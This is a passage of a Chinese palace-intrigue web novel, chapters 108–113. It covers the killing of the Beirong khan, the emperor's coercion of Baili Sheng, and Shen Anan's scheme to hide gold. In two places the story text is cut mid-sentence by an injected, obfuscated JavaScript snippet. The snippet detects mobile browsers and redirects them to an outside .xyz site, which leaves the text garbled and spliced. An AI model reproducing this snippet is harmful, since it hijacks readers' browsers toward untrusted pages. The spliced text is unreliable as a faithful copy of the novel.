扎哈瓦父子,登时脸色大变,扔掉了手中的酒壶,翻身就要上马。 魏大贤领着十万天罗,个个手持火铳,全力追击。 再勇猛的铁骑在火铳面前也是不值一提,北戎兵败如山倒,遍地都是尸体。 扎木乃往反方向跑,他知道父汗刚刚拉了大仇恨,跟着父汗一起跑只会是死路一条。 可这样跑,就真的能有活路了吗? 扎木乃边跑边脱衣裳,命令一名近卫,扮成了他,领着他的家人继续往前跑。 而他,则是一头扎进了万水河里,拼命的往河对面游去。 魏大贤抱起了地上的赵小高,军医已不知所踪了。 赵小高虚弱的开口:“别管我,一定要杀了扎哈瓦。” 说完,他双眼一闭晕了过去。 身上流淌的鲜血,染的魏大贤满身都是。 他将赵小高交给了几名天罗,“给侯爷疗伤,照看好他。” “是。”几名天罗从魏大贤手中接过了赵小高。 魏大贤翻身上马,去追扎哈瓦了。 第108章 鹰犬 也正是因为赵小高这一声,扎木乃才有了生机。 魏大贤集合所有主力,铺天盖地的追击扎哈瓦。 天罗可不像楚家军那般不堪,一路狂追,而根本没做好逃亡准备的扎哈瓦很快就被团团围住。 当然有往万水河里跳的,但刚一下马,就被火铳打死。 不管有没有跳进万水河里的人,天罗都是同样对待,密密麻麻的箭矢从天而降,射在万水河里。 这一块别说人了,鱼都**一片,万水河被染的通红。 扎哈瓦见状,深知自己是逃不掉了,下了马就往地上一跪,扯着嗓子大喊着:“我投降,我将带着族人向轩辕帝国称臣。” 魏大贤骑马上前,垂眸睥睨着他,“轩辕不需要废物。” 扎哈瓦终于知道害怕了,他瞳孔里带着惊慌,央求的说道:“别杀我,我什么都可以给你。” “除了你的一条狗命,你还有什么能给我的? 此时此刻,你仍觉得北戎这片天地,还是你的吗?”魏大贤的声音,幽冷又从容。 若是以前,扎哈瓦还能有一线生机。 但他要虐杀赵小高,那他就是自己在找死。 魏大贤手起刀落,扎哈瓦人头落地。 他命令着身旁一名天罗,“头颅包起来,等侯爷醒了送给他。” “十五岁以上男丁,杀。 反抗者,不论男女老少,杀。 物资,一样不留,尽数带走,带不走的,烧。” 魏大贤话音落地,一片凌乱凄惨的叫声,响彻了万水河畔。 …… 轩辕京城、皇宫勤德殿内。 夜不群缓缓走下台阶,抬手扯掉了百里胜嘴里的布。 年轻帝王睥睨着被五花大绑,跪在地上的乱臣贼子,声音淡漠又从容,“被自己女儿抓回来的感觉不好受吧?” 百里胜舌头顶了顶腮帮子,这一路除了吃饭喝水的时间,他的嘴都被塞着,一时间都不会说话了。 好半天他的嘴巴才能开合自由。 沈安安眸子睁了睁。 夜亦德也是满脸的问号,还真是母妃她爹。 那母妃真的是大晟公主? “你也算是皇亲国戚,朕给你个将功赎罪的机会,如何?”夜不群像主人施舍宠物那般,意味深长的问着百里胜。 他也是见到沈安安的那一刻,才明白了许多事情。 这百里胜能有云州户籍,是安乐已故的父亲独孤傲的好手笔。 而独孤傲那所谓的启南妻子,根本就是从大晟逃亡过来的贵族之女,她的双胞胎妹妹,便是沈安安的母亲、百里胜的王妃。 “哼,我有的选吗?”百里胜仰头看着夜不群,冷哼问着。 “当然有,你全族**。”夜不群声音仍是淡淡的。 “哈哈哈,你要是能进去壕沟林,你还能等到现在吗?”百里胜不卑不亢道。 夜不群指向了沈安安,“有荣贵妃在,朕何愁进不去?” 沈安安:“???” 夜亦德:“……” 董聂跪在一旁,心里嘀咕着:‘多少年了,还是这一招,怎么就能屡试不爽呢?真他娘是个人才,该他当皇帝。’ 百里胜收起了桀骜不驯,取而代之的是恭顺,他五体投地的跪着,“末将愿替陛下效劳,肝脑涂地在所不辞。” 他当然听出了夜不群话里的弦外之音,这是在拿安安威胁自己。 他没陪在女儿身边过,打从她生下来就交给别人抚养了,本就亏欠良多,再罔顾她的性命,那他这个做父亲的当真是畜生不如了。 夜不群解开了他的绳子,将人扶了起来,开口道:“大晟还是你的大晟,朕也不要你俯首称臣。 你便回去,好好管理你的大晟,将周边小国好好整顿一番。 只需每年向轩辕纳贡便好,你得到的所有东西,八成,送入轩辕来。” “八成?”百里胜瞪大了眸子。 夜不群拍着他的肩膀,“毕竟你们也需要生存,朕不能全拿。” 他说罢,转身上了台阶,坐回了龙椅上。 百里胜禁声,即便心中波涛汹涌,面上也没多少变化。 就给他剩两成,还要他稳住大晟。 便是如今那几乎不毛之地的大晟,全国的资源也不止两成吧? 这是掠夺,是让大晟**,他要是想保住大晟,就必须去掠夺周边小国。 夜不群这是要他和大晟,沦为轩辕的鹰犬,去做轩辕对大晟做的那些恶事。 “别愁,你此番回去洗劫了北燕在大晟三城的商队,两成够你重建家园了。” 百里胜闻言目瞪口呆,“那是我能抢的吗?” “你当然不行,不是还有朕吗?”夜不群道。 沈安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15480825|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安和夜亦德今天也算是开眼了。 董聂头压的低低的,这损招儿真是一个接一个。 让大晟去抢北燕,大晟和北燕的中间又隔一个轩辕,如此一来,轩辕并没有明面上跟北燕作对。 北燕要是派兵去剿灭大晟,还得从轩辕借道,这……不会两边收钱,然后大晟成了替死鬼吧? 夜不群将一块令牌递到崔福手中,崔福双手捧着交给了百里胜。 “朕给你一万地网,够你洗劫北燕商队和周边小国了。 事成之后,他们会带着岁贡一起回京。”夜不群头也没抬的说着。 百里胜领了命令,拱手又道:“陛下,我也有个请求。 还望陛下成全,准许我带安安回大晟。” 夜不群声音听不出喜怒,道:“朕许你每年来京一趟,父女团聚。” 夜不群摆了摆手,崔福便将百里胜给请了出去。 沈安安站在大殿上,脑子里一团乱麻,没想到还真抓了原主的爹。 更出乎她意料的是,百里胜对她很好很好,这种好让她不禁想到了阿爹。 她原本以为来到这个世界,就是孤身一人了,想不到现在有了儿子还有了亲人。 最重要的是,他们好像对她都蛮不错的。 她愣神的时候,夜不群已经来到了她面前,一句不知是夸奖还是宠溺的“干的漂亮。” 这句话就像刀一样,扎了她的心上,这简直就是赤裸裸的讽刺。 沈安安再一次惊觉,阿爹说的伴君如伴虎是什么感受了。 她忽然抬眸对上夜不群的视线,道:“陛下,臣妾已经完成了您交代的事儿。 那陛下现在是不是也该兑现对臣妾的诺言了?” “那是自然,如果亦天愿意的话,你们随时可以启程去西南。 他也等你好久了,你的荣华宫也建好了,且去看看吧。” 夜亦德闻言心里乐开了花儿,这去了封地不就是天高任鸟飞了? 夜不群摸了摸他的头,“日后可要记得常回来看看朕。” 夜亦德点着头:“嗯。” 小小人儿牵住了沈安安的手,同夜不群说了声“告退。” 从勤德殿出来,夜亦德兴冲冲的说:“快走吧母妃,皇兄还等着我们呢。” 沈安安心不在焉的快步跟着他,心里总堵得慌,总觉得哪里对又哪里不对。 第109章难题 荣华宫扩大了许多,派来宫里的太监宫女也多了。 沈安安牵着夜亦德跨进门,两人皆是目瞪口呆,不得不说,武文义和杨士青把事情办的实在太漂亮了。 只可惜,马上就要走了,想到这儿,沈安安不住的叹息。 “母妃。”忽地,一道格格不入的声音从殿内传来。 紧接着,一道小小的身影从容的朝着沈安安走来。 她看清来的人是夜亦天后,眸子瞪的更大了。 夜亦德也觉得皇兄吃错药了,他从未听皇兄叫过“母妃。” “娘娘。”莲花热泪盈眶,秦嬷嬷将她照料的好,她已经痊愈了。 还有先前自请调职的李汉民也在。 “娘娘回来啦?”秦嬷嬷高兴的合不拢嘴,领着一众丫鬟太监要给沈安安行礼。 沈安安阻止道:“不用了,在自己宫中,随性些便好。” 李汉民尴尬的笑了笑,一副欲言又止的表情。 沈安安神色凝重,蹲下身牵住了夜亦天的手。 这一次,他没反抗。 乖巧的就像夜不群第一次带他来荣华宫时一样,这让沈安安很不自在。 “怎么了?”她问着,一双亮晶晶的眸子始终都落在夜亦天脸上。 他什么都没说,像个木头一样矗立在她跟前儿。 “秦嬷嬷,这些日子净赶路了,都没吃过一口好的,你去帮我们准备午膳吧。”沈安安站起身来,冲秦嬷嬷说道。 “好嘞娘娘,老奴这就去准备。”秦嬷嬷应了声,领着丫鬟太监们退下了。 她是荣华宫的掌事嬷嬷,统管着下人,当然了,莲花是例外,莲花可是沈安安的陪嫁宫女。 李汉民看出沈安安是故意支走人,他便识趣的拉上董聂告退了。 沈安安领着两小只,进了屋子,莲花则是在门口守着,不让其他人来打扰。 夜亦德也看出夜亦天的不对劲了,还没等沈安安开口,他先说道:“皇兄,要实在不行,这太子就不当了吧。 去到我的封地了,皇兄你来做主。” 沈安安点了点头,“是啊,我们现在就可以走,以后都不用在这里受窝囊气了。” 夜亦天淡淡开口,稚气未消的声音里带着淡淡的死感,“母妃和皇弟去吧,孤替你们守着荣华宫。” 他再也没有之前的傲气了,连声音都透着软绵绵,仿佛所有的骨气被抽走了一般。 沈安安不继续这个话题了,直截了当的问着:“到底怎么了?谁欺负你了? 你告诉我,我替你欺负回去。” 夜亦天摇头,只说没事儿了。 沈安安和夜亦德都是急性子,且没脑子。 他越是这样,两人越着急要弄个清楚。 就这样问了快四刻钟,夜亦天一双死寂的眼眸,才抬起来望向沈安安,只简单的一句:“母妃若真想让孤活,就助孤登基。” 这一句话,让一大一小陷入了沉默。 登基……于现在的夜亦天而言,等同于谋反。 一时间,沈安安不知该如何回答。 夜亦德开口打破了僵局,“皇兄,就算要助你登基,那也要等皇叔升天后。 届时我把独孤军和护京军的兵权都交给你,让他们助你登基。” 夜亦天不语,只是一味的盯着沈安安,等她开口。 沈安安心下叹息一声,她如今的身份,也敏感的很。 她现在回想起刚才夜不群在勤德殿说过的话,才反应过来到底是何意思。 敢情她不在的这段时日,他早已经把亦天牢牢的捆绑在这深宫里了。 至于用的何种办法,她不知道,显然亦天也不想说,那肯定就不是能见光的。 沈安安思索片刻,开口回着夜亦天,“你弟弟说的没错,只要那啥殡天,我定助你。” 夜亦天眸子划过失望,但转瞬即逝。 “那母妃能不能帮孤先杀了夜明。”夜亦天又眼神充满希冀的看向沈安安。 “现在?” “现在吗?” 沈安安和夜亦德同时开口。 夜亦天道:“首辅和定国侯都不在,现在是最好的时机。 夜明经常待在皇贵妃的倾兰宫里,母妃下手最方便了。 如今母妃你刚立了功,陛下正是仰仗你的时候,定不会轻易给你治罪。” 沈安安脑子都转懵了,是这样的吗? 夜亦德抬起手,落在夜亦天的肩膀上摇了摇,“皇兄,你不会没睡醒在梦游吧? 我都能想到的事 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以后有亦德的兵权,我至少给你打下半壁江山,实在不行,我带你去大晟,让你去大晟当王怎么样?” 夜亦天转身坐在了椅子上,“那就、谁也别走了。” “啊???” “不是……那那那、这好歹要出去一个吧?”沈安安道。 夜亦德点着头,“母妃说的有道理,不然以后怎么里应外合?” “若母妃放心我们任何一个独处,那母妃便选择一个吧。”夜亦天给沈安安抛出了一个难题。 沈安安此时又想起了她阿爹的那句“手心手背都是肉。” 选哪个都是错。 夜亦德忽然出声,“母妃就陪着皇兄吧,我自己去封地。” 夜亦天忽地一脸担忧的望向他,“你觉得没有母妃,你去了云州,独孤家会放过你吗?” 这一句话,让沈安安想起了老管家为难自己的一幕。 “算了算了,你再大点儿再去吧,唉,这宫殿刚修好,先享受享受再说吧。”沈安安终究是做出了选择。 “娘娘。”门外响起莲花的声音,“武大人和杨大人求见。” 第110章开天哨 沈安安一听武杨,顿时想到了银票,“快请快请。” “咯吱”一声,房门推开。 武文义和杨士青齐齐开口:“恭喜娘娘,贺喜娘娘,娘娘得胜归来,臣等特奉上黄金锁子甲。” 沈安安忙招呼着二人:“快起来快起来,都是自家人,客气什么。” “莲花,上酒。” 说着,她便让武**人坐了下来。 武文义也是识趣,直接将一叠超级婉银票递到了她手里。 沈安安不要,推了回去。 武**人一脸懵逼,“娘娘这是何意?” “莲花,你去外面守着,谁都不许放进来。”沈安安吩咐着。 莲花听话的退了出去,将房门关上,兀自守在了门口。 两小只闻言来了兴趣,也凑了过来。 沈安**着武文义和杨士青蹲在地上,三人围成了一个圈儿,两小只就蹲在后面。 沈安安道:“马上……马上就要去抢北燕商队了,到时候要兑现就成了空话。 趁现在还来得及,趁早赶紧兑现,不然这就成了擦屁股的废纸。” “粮、屯粮,马上也要跟北燕开战了,粮食和物资才是王道,金子可不能吃饱。 一旦开战,粮食才是硬通货。” 武文义没说话,但杨士青却眼珠子滴溜溜的转了转,开口道。 “是有点儿异常,那神威宝库没停一段时间呢,现在又没日没夜的开始赶工了。 而且户部也一直在统计粮草,似乎真的是在备战,如果是跟北燕开战的话,那就说得通了。” “还有件事儿,万大人……不,现在是征西侯了,找我们……” 他话还没说完,沈安安打断了,“别跟他来往,他离死不远了,划清界限。” “哦。”武文义意味深长一声,“那就不重要了。” 杨士青也点了点头,“不重要了。” “娘娘刚才说抢北燕商队,抢京城的?”他又问道。 “大晟的。”沈安安回着。 “那还来得及,就是这东西存哪儿?”杨士青问道。 三个人面面相觑,一时间都想不到一个安全又合理的地方。 武文义想了想那些金子,“是啊,那么多金子,还要屯粮,这我们两个行动也不方便啊,总不能抬进荣华宫里。” “是啊是啊,放在我们府上,迟早都进了首辅和定国侯的口袋。 娘娘不知道吧?每次征战,他们就带人直接抄家,美其名曰什么债,反正就是白拿。”杨士青补充道。 沈安安:“说的好像荣华宫就安全一样,这可咋整?” 此时,夜亦天稚嫩的声音响起,“你们是不是忘了一处。” 三人齐齐抬头,异口同声问着:“哪里?” “东宫。”夜亦天言简意赅的两个字。 “是哦。”武文义恍然大悟道。 他又问着杨士青和沈安安,“你俩觉得呢?” 沈安安:“目前来说好像是最安全的。” 杨士青道:“那明天我们就赶紧去兑现,兑不出来的就换成物资。 趁着首辅和定国侯还没回来,先将东西偷偷转移进去。 为了确保万无一失,那样东西是不是该给陛下看看了?” 沈安安八卦道:“什么东西?” 两小只也竖起了耳朵。 “奶壶。”杨士青无比骄傲道。 沈安安眉头一蹙,“啥玩意?咋就万无一失了?” 两小只也觉得不靠谱。 杨士青道:“娘娘有所不知,陛下是怎么把太子殿下养大的,先帝就是怎么把陛下养大的。” 沈安安灵魂一问,“他对亦天也不好啊,这能有用吗?你们别搞砸哦。” 杨士青:“……” 武文义却道:“小时候可好了,娃不离手,现在嘛……臣也不知道怎么了。 但我俩和万大人都在,就证明陛下和先帝的手足情谊还在,准没错。” 夜亦德没耐心了,刨根问底,“所以这奶壶跟万无一失到底有什么关系?” 杨士青解释着:“睹物思人啊,封闭东宫啊。” 沈安安直起身子,“莲花,上菜。” 正吃着饭呢,百里胜来了。 沈安安差点被一口鱼给呛死,“咳咳咳。” 武文义和杨士青站起来,看了看百里胜,觉得他眉眼跟沈安安有些像,便更加恭敬了。 “爹。”沈安安叫了声。 百里胜忽地就眼眶红了,乱糟糟的心情瞬间一扫而空,这声“爹”真是暖进了他的心窝里,还以为安安会 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要么爹你来一巴掌解气?”沈安安说着,就把自己一张漂亮的脸怼到了百里胜面前去。 “这是什么话?”百里胜赶紧让她坐端正,“爹不怨你,吃饭吧。” 正开始吃呢,夜亦德道:“外祖父,荣华宫里新建了一座观景台,待会儿吃完我带你去看看。” 百里胜视线落在夜亦德身上,心想:‘不愧是血脉相连的,就是比太子跟我亲点儿。’ 百里胜此时还不知道,夜亦德也不是沈安安亲生的。 “唉,下次吧,陛下就给了我一个时辰,一个时辰后我就得出发回大晟了。”百里胜道。 沈安安闻言,边嚼口里的肉边问道:“爹,这么急?” “那你可得想办法走慢一点,女儿的身家性命可就看你走的快慢了。” 武**人也赶忙放下筷子,点着头,“是啊是啊国丈,您可千万要走慢些。 我们的身家也别在您的脚踝上。” 百里胜眉头蹙了蹙,看看三人,“你你你……你们?” “你们到底都干了什么?” 他最终看向沈安安:“我的宝贝女儿,你可别吓爹爹。” 第111章好的不学 沈安安挥了挥手,“爹你别担心,我们只是需要时间把存在一婉通里的银子拿出来。” 武文义和杨士青坐在百里胜左右两侧,同频率的点着头。 百里胜闻言,神色这才一松。 一声意味深长的“哦”之后,他压低了声音,道:“巧了这不是,我也正愁怎么把一婉通的银子兑出来。” 他之所以能在壕沟林养活二十万人,就是因为有金银存在一婉通里。 那些瘴气对普通人来说是致命的,但对北燕商队来说,啥也不是。 躲在壕沟林的日子,都是北燕商队将物资给他送进去的。 “啊?爹你也在一婉通存了银子啊?看不出来。”沈安安给大家倒了酒,压低声音问着。 武**人对此也感兴趣。 这位国丈在大晟起兵**的事儿,他们也有所耳闻。 但如今既然能安然无恙的出现在荣华宫,想来陛下已经不追究他的过错了。 “唉,毕竟我也是大晟的王,这也只是一部分。”百里胜说着,从怀中掏出了一枚令牌。 通体白色的玉牌,上面刻的是大晟的文字,沈安安不认识。 百里胜把玉牌交给了沈安安,“那安安你帮爹爹也兑现了吧,存了不多,一百万两黄金。 就当爹爹给你的嫁妆了,这令牌你也留着,日后你若去到大晟,它就是你的通行证。” “多少?”沈安安扔掉了手中筷子,双手捧过令牌。 夜亦德眸子亮晶晶的,这个外祖父还不错嘛。 最高兴的莫过于夜亦天了,但他面上没表现出任何情绪来,沈安安的就是他的。 有了这笔金子,日后他拨乱反正的筹码便又多了几分。 如此想着,小小的人儿目光追随着那枚白色的令牌,他觉得沈安安若是聪明的话,现在就应该交给他来保管。 沈安安当仁不让的收下,然后顺手就递给了武文义,“那就一并兑了吧。” 武文义款款接过去,眼中含着感动,娘娘真是不把他当外人啊。 上一个这么信任他和杨士青的,还是先帝,要是先帝在就好了。 杨士青也觉得,这艘船是上对了。 这么一来二去,时辰已经差不多了。 百里胜将两小只放下,依依不舍的开口:“安安呐,你在宫里好好的,别惹事儿。 爹爹离你太远,身份又敏感,想给你做主都没办法。 陛下答应了让我们父女每年都见一面。” 百里胜说着说着,眼眶又要红了。 沈安安走到他面前,豪爽的张开双臂,“什么都不用说了,爹爹放心,我会照顾好自己的。 你也照顾好自己,不用想着我,之前十几年没有你,我不活的好好的?” 不说还好,这一说,百里胜顿觉羞愧。 夜亦德啧了声,扯了扯沈安安的袖子,这母妃也太不会说话了。 等沈安安松开怀抱,夜亦德主动牵住了百里胜的手,“外祖父,我送你。” 百里胜心中欣慰,一步三回头的离开。 但沈安安是个心大的,已经返回了屋中,跟武**人商议到底需要多少时间了。 “东宫和密道我二人都熟悉,地方是足够大,完全放得下。 那娘娘的就放在东宫里,我们二人的就放在密道里,如何?”杨士青开口问着。 “不行。”沈安安严词拒绝,“你们的放在东宫里,我的放在密道里。” “额……”杨士青其实也不放心。 武文义此时开口道:“密道那么长,那就咱们三个的都放在密道里,画好界限就好。” “不行。”夜亦天这时候说话了。 三人一脸疑惑,同时看向他。 沈安安:“大人说话,小孩子就别插嘴,这不挺好的吗?” 夜亦天厉声反问:“好什么?密道堵**,万一发生点意外,转移就会成为最大的难题。” 三人又一细想,好像确实是个问题。 “那你说怎么办?”沈安安挠着头,问着夜亦天。 “粮食物资可以放密道,没了也就没了。 金子银子干脆就埋在密道出口那宅子底下。 武大人,你将地契房契交给孤母妃,母妃会派人去看管。 定国侯和首辅胆子再大,也不敢去母妃的地方撒野。”夜亦天淡淡道。 武文义想了想,“办法是个好办法,就是挖密室的动静也不小啊。 而且用到的人肯定也不少,届时就不是我们三个人的事情了。” 夜亦天冷不 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晚点吧,我就跟亦德出宫去将宅子安排好。” “是,娘娘。”两人齐齐应了声,退出了屋子。 夜亦天定定的望着沈安安,问着:“母妃不带孤去吗?” 夜亦天对她的称呼变化,总让她不自在。 但她也知晓,夜亦天这性子她是改变不了的。 沈安安还是直肠子,道:“带你去有什么用?带亦德去是让他告诉所有人,那是他的地盘。 我俩谁的面子都没亦德的好使。” “听你这口气,你是要光明正大的出宫,你觉得陛下会让你们出宫吗?”夜亦天问着。 “亦德不是有令牌吗?畅通无阻。”沈安安白了他一眼。 夜亦天没再说什么了。 只提起了别的要求,“母妃,你有办法让孤去太学院吗?” 沈安安:“不是有李汉民吗?他教的都够你学了,你皇叔能派差的给亦德吗?” “都是兄弟,亦德肯定愿意跟你共享的。” 这次,夜亦天是彻底没说话了。 第112章 大隐隐于市 亦德一直把百里胜送到了宫门口,这才返回。 一来一去,大半个时辰过去了。 等他回来的时候,沈安安已经换了身衣服在等他了。 “走吧亦德,出宫。”沈安安朝着他伸出手。 夜亦德刚拿起筷子,听闻要出宫,瞬间就把筷子丢在了桌子上,高高兴兴的把手交到了沈安安手上。 “先去换身衣服吧。”沈安安把她交给了莲花,“莲花也一起去吧。” “是,娘娘。”莲花应了声,带着夜亦德退下了。 荣华宫扩建了之后,两位殿下的住处也另外安排了,不再跟沈安安挤在同一处了。 不多时,三人便出发了。 夜亦天站在廊下,看着他们三人欢快离去的背影,心中颇有不平。 怎么人人都喜爱亦德,都对他视而不见?好似无论他到哪里,都是多余的那个。 连这段时日,他经历了什么,沈安安都不细问。 若是李太妃没有将亦德送来荣华宫,那么沈安安的在意也不会分出去了。 直至三人的背影消失良久,夜亦天才将目光收了回来,兀自回了自己的西殿,去读书了。 夜亦德被沈安安牵着,走在长长的宫道里。 枭龙沈安安没办法带进来,只能交给宫外的王坡照料。 夜亦德忽地开口:“母妃,我们这次出宫买点新奇的玩意儿送给皇兄吧。 我看皇兄刚才很不开心的样子。” 也正是觉得夜亦天不开心,所以离开时他才没有去打扰。 “还用你说?我肯定要给他准备惊喜的,你说的好像我是个瞎子似的。”沈安安任由着他摇晃着自己的手。 “对了莲花。”沈安安扭头看向落后自己一步的人,“我们不在的时候,到底发生了什么?怎么亦天性格大变,完全跟之前判若两人了。” 就是因为想问这个,所以才带她出来的。 亦天那孩子沈安安知晓,不想说的绝对问不出半个字来,想要从他嘴里问出点什么来,比享福还难。 莲花加快步子,往前迈了一小步,回着:“娘娘,也没发生什么特别的事情。 除了陛下召见,也没人来荣华宫给太子殿下找麻烦。 哦,不过有一次,是皇贵妃和三殿下送太子殿下回来的。” 沈安安想了想,忽地低头对夜亦德说道:“看来你皇兄是开窍了,知道给我省心了。 这是好事儿,起码他以后不会顶撞你皇叔了,这就是最大的进步。” 夜亦德却是反问:“是吗?” “母妃,我觉得你真的不太聪明,皇兄要是真像你说的这样进步了,还会叫你去杀……” ‘夜明’两个字他及时收住了,这皇宫里可不安全,隔墙有耳。 沈安安“啧”了声,“这就是还没长大彻底,再等等就好了。” 夜不群如今对监管沈安安也没了兴趣,有了夜亦德的令牌,三人在京城畅通无阻。 出了皇宫,沈安安便直奔最近的客栈,王坡和沈起就被她安顿在那里。 不多时,三人出现在了包厢里。 王坡发出感叹,“哎呀,这娘娘还能随时出宫,真是稀奇。” “少废话,打包、退店。”沈安安道。 王坡一边收拾一边回头问:“娘娘,这是要带我入宫了吗?” “入什么宫?叫你去给我看鱼塘。”沈安安回着他。 “啊?”王坡兴致缺缺。 夜亦德也问着:“什么鱼塘?” 沈安安摆了摆手,“走走走,去了就知道了。” 几人从客栈出来,沈安安叫了两辆马车,一路直奔目的地。 武文义的人早就等在那里了,是来给她交钥匙的。 王坡看着气派的宅子,这得是一品大员的府邸。 因为常年无人居住,导致宅子里阴沉沉的,就跟没人气儿一样。 五进的院子,气势恢宏,就是里面的摆件嘛,没啥值钱的,还都挺旧。 沈安安把人带到了后院,连滴水都没有。 王坡瞪大眼睛问着:“鱼塘呢?莫非这宅子叫鱼塘?” “过两天就有人挖出来了,以后你和沈起就住这儿吧。 好好给我看这处宅子。”沈安安看着大大的后院,一大片空地,全挖出来埋金子应当是够了。 王坡一听她这话,就知道她要在这里藏东西。 他指了指自己,又指了指沈起,“就我,和一个小屁 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“你**不愧是个人才。”沈安安朝着他竖起了一根大拇指,“就按你说的办。” “母妃,这小子就是想雇些人伺候他,好一招两全其美。”夜亦德一眼就看穿了王坡的心思。 王坡对他大加赞赏,“殿下果然有做我徒弟的潜质。” “唉??太子殿下呢?他怎么没跟着一道儿来?” 沈安安显然没听见他后面这句话,兀自开口道:“无所谓,大家好才是真的好。” 这武文义动作也是迅速,他们前脚刚到,他后脚安排的人就来了。 沈安安看着他们一个个都扛着工具,便让他们开始行动了。 王坡凑到沈安安跟前来问,“娘娘,这里要放多少东西?” 沈安安主要是不知道到底有多少,但她估摸了个差不多的数额,悄咪咪的问着王坡,“三四百万两金子大概有多少?” 王坡眼睛都瞪大了,“你你你……你这么富有吗?” 沈安安声音还是很低,“嘘,照着这个数挖就是了。” 杨士青在一旁咳嗽了声,“娘娘,其实你可以再小声一点儿。” 第113章 朱批 明晃晃的将金子丢在鱼塘里肯定不行,王坡建议,鱼塘下面修建一个密室,鱼塘用来掩人耳目。 沈安安和杨士青一听这话,觉得他倒是个靠谱的,便将督办这件事儿的任务全权交给了他。 在杨士青的带领下,沈安安一行人又去给夜亦天买新奇玩意儿了。 沈安安是个心大的,一路上从大晟赶回京城,也没给夜亦天准备礼物。 这一逛就逛到了晚上,赶在宫门下钥之前回宫了。 沈安安和莲花一人扛了一个包袱,夜亦德走在她们前面,三人就这么旁若无人的回了荣华宫。 已是夏季最热的时候,秦嬷嬷在荣华宫的凉亭里点了熏香和蜡烛,有两名太监在一旁伺候夜亦天读书。 荣华宫的人,倒真把他当成太子在对待。 “亦天。”沈安安跨进荣华宫的门,远远就瞧见了凉亭上那道小小的身影。 她一边挥着手,一边大声叫着。 夜亦天自是听见了,但他充耳不闻。 “亦德,我们都还没好好看看新建的荣华宫呢,要不这会儿看看?” 沈安安看着到处亮着光的荣华宫,忽地来了兴致,问着夜亦德。 “好啊好啊,母妃我要去看看我的演武场。”小小的人儿高兴的一蹦一跳。 沈安安从莲花手里接过了包袱,让夜亦德走在前面。 两人一前一后,上了凉亭。 实则是个观景台,虽算不上是皇宫里最高的,但在上面看整个京城的夜景,是没有一点儿遮拦的。 这武文义挖空了心思的哄沈安安开心,也不知他从哪儿弄来了一棵大树,还真让他给栽活了。 这凉亭就建在大树上,楼梯是绕着树干蜿蜒向上的。 因为被繁茂的枝叶遮挡,所以哪怕是恐高的人走在上面都不会害怕。 “皇兄。”夜亦德爬的呼哧呼哧,大喘气的叫着夜亦天。 夜亦天从鼻孔里哼出了一声“嗯。” 他视线始终都落在手里的书上。 身后站着的两个太监,见到沈安安和夜亦德也不敢出声,只弯腰低头行着礼。 沈安安抬了抬手,示意他们平身。 她在桌边的椅子上坐下来,将包袱里的东西全都拿了出来,一样样的摆在夜亦天面前,“看,这些都是我和亦德给你精心挑选的……” “娘娘,娘娘。”忽地,凉亭下面传来了董聂的声音。 沈安安低头看去,发现崔福也在,手里捧着的好像是圣旨。 怎么又来? 她不情不愿的下来,两小只也跟在她身后。 “贵妃娘娘,接旨吧。”崔福推了推手中的圣旨。 整个荣华宫的人都跟着沈安安跪在了地上。 崔福尖锐的声音响起:“奉天承运、皇帝诏曰:荣贵妃贤良淑德,实乃照顾皇后娘娘的最佳人选……” 崔福念完,弯腰将圣旨递送到了沈安安面前,“贵妃娘娘,随老奴走吧。” 沈安安谢了旨后,换了身衣服,便跟着崔福离开了荣华宫。 并没有直接去皇后娘娘所在的椒房殿,而是先来了勤德殿。 夜不群高坐在龙椅上,烛光照亮了整个大殿,他看着手中奏折,眉头紧蹙。 “臣妾参见皇上。”沈安安照例跪在了地上。 自从夜不群知晓移魂**是假的之后,她也不用再当哑巴了。 “起来吧。”夜不群森冷的声音,响着。 沈安安刚站起身,他就命令着:“过来研墨。” “是。”尽管很不情愿,沈安安还是出声应着。 她能感觉到,**今天心情不佳。 也不知道谁送来的奏折惹他不开心了。 沈安安一边想着,一边迈步上了台阶。 夜不群手中拿着朱砂笔,在一本奏折上写下了红红一片朱批。 沈安安随便瞥了一眼,就看见上面全都是骂人的句子,什么‘你是猪吗?你出生的时候是不是把脑子忘带了……’ 沈安安这一瞥就上了瘾,没想到**还有这样一面。 忽地,夜不群森寒的视线,落在了沈安安脸上。 “今日你跟武大人、杨大人出宫去了?”他的声音,听不出悲喜。 沈安安不假思索道:“只是让杨大人陪着臣妾给太子殿下买了些东西。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15494608|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 武大人把他先前的一处废弃宅子送给亦德了,今日刚好出宫,便去那宅子里看了一眼。 怎么了陛下?亦德不能收吗?那我明天带着他去还给武大人。” 沈安安说的都是真的,只不过该隐瞒的她一个字都没提罢了。 “罢了,你去椒房殿看看皇后吧。”夜不群挥了挥手,打断了她的所有动作。 沈安安本也不想在这里浪费时间,立马福身行了礼,退出了勤德殿。 勤德殿的后面就是椒房殿了。 崔福将她带到之后便退下了。 “参见贵妃娘娘。”沈安安刚走进去,楚妃楚舒茗的声音便传了来。 “你怎么也在?”在这里见到楚舒茗,沈安安还是有些意外的。 看来这楚妃深得**信任啊,能近身伺候皇后的人,可都不是一般人。 “能照顾皇后娘娘,是嫔妾的福分,嫔妾闲着也会闷的。”楚舒茗回着。 回宫后,是她主动请缨来照顾安乐的。 楚家军的不配合,让定国侯在跟北戎交战时吃了败仗。 